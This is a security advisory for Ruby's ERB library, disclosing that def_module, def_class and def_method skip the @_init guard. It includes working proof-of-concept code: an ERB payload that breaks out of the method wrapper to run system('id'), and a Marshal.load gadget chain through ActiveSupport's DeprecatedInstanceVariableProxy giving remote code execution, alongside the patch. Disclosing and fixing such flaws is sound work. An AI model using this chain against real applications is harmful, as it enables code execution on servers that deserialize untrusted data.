GHSA-q339-8rmv-2mhv

## Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard:

- `ERB#def_method` - `ERB#def_module` - `ERB#def_class`

An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely.

<details>

## The @_init Guard

In `ERB#initialize`, the guard is set:

```ruby # erb.rb line 838 @_init = self.class.singleton_class ```

In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:

```ruby # erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ```

When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute.

## The Bypass

`ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:

```ruby # erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end

# erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end

# erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end ```

`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

### Method wrapper breakout

`def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:

```ruby # Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end ```

---

## Proof of Concept

### Minimal (ERB only)

```ruby require 'erb'

erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end

# ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root) ```

### Marshal deserialization (ERB + ActiveSupport)

When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:

```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb'

# --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end

erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel })

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root) ```

**Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')`

**Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

</details>

## Impact ### Scope

Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes:

- **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC - **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization

### Severity justification

The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

<details>

### Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |

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## Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

* ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

<details>

Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:

```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end ```

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